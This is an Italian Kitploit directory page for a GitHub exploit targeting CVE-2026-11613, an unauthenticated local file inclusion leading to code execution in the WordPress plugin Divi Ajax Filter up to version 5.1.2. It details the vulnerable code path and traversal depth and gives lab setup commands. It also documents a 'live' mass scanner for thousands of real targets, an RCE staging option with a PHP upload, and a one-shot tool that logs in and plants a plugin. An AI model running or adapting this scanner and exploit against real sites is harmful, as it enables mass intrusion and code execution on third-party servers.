Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 Inclusione Locale di File Non Autenticata tramite 'custom_loop_template' | Kitploit
Strumenti/GitHubGitHub/wayang1337/cve-2026-11613
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingLab e Pratica
GitHubwayang1337/cve-2026-11613

CVE-2026-11613

Divi Ajax Filter <= 5.1.2 Inclusione Locale di File Non Autenticata tramite 'custom_loop_template'

Vedi Repository
6h 13m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 — LFI non autenticato -> RCE

PluginDivi Ajax Filter (Divi Engine, premium — non su wordpress.org SVN)
Interessatetutte le versioni <= 5.1.2 (il laboratorio usa 3.1.8.4 da mirror)
Corretto5.1.3 (11/08/2026)
TipoCWE-98 — PHP Local File Inclusion, non autenticato
CVSS9.8 Critical (AV:N/AC:L/PR:N/UI:N)
AdvisoryWordfence (finder: h0xilo), pubblicato il 04/09/2026
Codice sorgentemirror pubblico: github.com/albertoformi/fr9z3i4pwxt3qx (sito WP + plugin in includes/modules/divi-ajax-filter/)

Analisi tecnica (dal codice mirror v3.1.8.4)

  1. Nonce pubblico — includes/modules/FilterPosts/FilterPosts.php:1759 crea wp_create_nonce('filter_object') e lo inietta tramite wp_localize_script (filter_ajax_object.security) nello script accodato per TUTTI i visitatori (wp_enqueue_scripts). Il nonce non è una barriera: ogni visitatore ne ha una copia.
  2. Punto di ingresso non autenticato — filter_ajax.php:3406-3407 e loadmore_ajax.php:569-570 registrano gli handler con wp_ajax_nopriv_* (senza login).
  3. Input senza sanitizzazione — filter_ajax.php:114-133 (loadmore: 73-91): $loop_var = json_decode(sanitize_text_field($_POST['loop_var'])), poi $custom_loop_template = $loop_var['custom_loop_template'] verbatim — senza basename(), senza whitelist, senza controllo realpath.
  4. Sink — filter_ajax.php:2871-2873 (loadmore: 344-346):
    root@kitploit:~
    if ($loop_templates == 'custom-template') {
        if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
            include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
    
    Condizione: la richiesta deve entrare nel ramo non-WooCommerce ($posttype dal JSON query è libero, nessuna allow-list) e la query deve restituire >= 1 post.
  5. Profondità di traversal — dir base = <webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/ → servono ../../../../../ (5×) per tornare alla webroot. NOTA IMPORTANTE: file_exists()/include() falliscono silenziosamente se il componente del percorso prefissato non esiste — la directory divi-ajax-filter/loop-templates/ dentro il tema deve esistere (questa è la struttura custom-template documentata dal plugin, quindi è comune nei siti che usano questa funzionalità; senza quella dir la traversal è di fatto bloccata).
  6. RCE — se un attaccante può piazzare un .php sul server (upload utente con ruolo author, configurazione upload permissiva, altro plugin), includere il file caricato = esecuzione di codice.

Struttura delle directory

root@kitploit:~
cve-2026-11613/
├── poc_http.py                  # PoC + scanner massivo live (file singolo)
├── divi-ajax-filter-3.1.8.4.zip # plugin pronto da installare (upload via WP admin / Plugins > Add New)
├── README.md
├── mirror-site/                 # clone github albertoformi/fr9z3i4pwxt3qx
│   └── includes/modules/divi-ajax-filter/   # plugin v3.1.8.4 (vulnerabile)
└── lab/
    ├── docker-compose.yml       # WP 6.5 + MariaDB, porta 8099
    ├── setup.sh                 # copia plugin + compose up
    ├── install_wp.sh            # installa WP + verifica
    └── wp-content/
        ├── mu-plugins/
        │   ├── zz-divi-shim.php        # shim DiviExtension/ET_Builder_* (solo lab)
        │   └── zz-activate-daf.php     # auto-attivazione plugin
        ├── plugins/divi-ajax-filter/   # plugin vulnerabile (montato nel container)
        └── uploads/poc-rce.php         # payload "upload" simulato (exit alla fine)

Esecuzione del laboratorio

root@kitploit:~
bash lab/setup.sh        # copia plugin + docker compose up (porta 8099)
bash lab/install_wp.sh   # installa WP (admin / LabPass!2026)
# aggiungi la struttura del tema richiesta per la traversal:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# crea 2 post di esempio (una sola volta):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
  -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
  -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
  wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish

PoC / Scanner live (senza modalità — tutti i target trattati come live)

root@kitploit:~
python poc_http.py target.com                       # auto http://
python poc_http.py https://target.com domain2.com   # più target
python poc_http.py --list targets.txt --threads 30  # scan massivo 5000+
python poc_http.py --list targets.txt --fast        # sweep leggero 2 req/target
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED  # stage RCE
  • I domini senza scheme diventano automaticamente http://; dedupe automatico; i risultati vengono scritti in modo incrementale su results_cve-2026-11613.csv (sicuro con Ctrl-C, i risultati parziali vengono salvati).
  • Stato per target: VULN: LFI / VULN: LFI+RCE (verde), not-confirmed (giallo), NO-NONCE / NO-PLUGIN (ciano), UNREACHABLE / ERROR (rosso).
  • --no-color / env NO_COLOR per output semplice; i colori si disattivano automaticamente quando si usa una pipe.
  • Exit code: 0 = ci sono target vulnerabili, 1 = nessuno, 130 = interrotto.

WayangXploit — one-shot (pianta canary + verifica RCE automatica)

root@kitploit:~
python wayang.py <site> <wp-user> <wp-pass>

Un solo comando: login → pianta canary WayangXploit (piccolo plugin non attivo, solo PoC: stampa marker+uid+uname poi exit, non è una webshell, nessun parametro cmd) → verifica → sweep LFI non autenticato → verdetto RCE. Auto: https-upgrade, SSL bypass, POST che preserva i redirect. Cleanup: rimuove il plugin "WayangXploit Canary" + "Divi Compat Shim" in wp-admin dopo il test.

poc_http.py ora ha come default --upload-marker WayangXploit-RCE-CONFIRMED (quindi basta --upload-rel / --upload-name).

Risultati della verifica in laboratorio (reali, dalle risposte HTTP)

root@kitploit:~
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2

Requisiti di sfruttabilità su target live (controllati da live_scan.py):

  1. Plugin Divi Ajax Filter <= 5.1.2 attivo (recon: accesso diretto al file principale del plugin).
  2. Nonce filter_object esposto su pagine pubbliche (script del modulo accodato).
  3. Esiste <theme>/divi-ajax-filter/loop-templates/ (la traversal con prefisso lo richiede).
  4. Per RCE: c'è un file .php raggiungibile dall'attaccante (es. risultato di upload) — anche solo LFI ha impatto (info disclosure / bypass auth su qualsiasi file .php).
Scarica lo strumento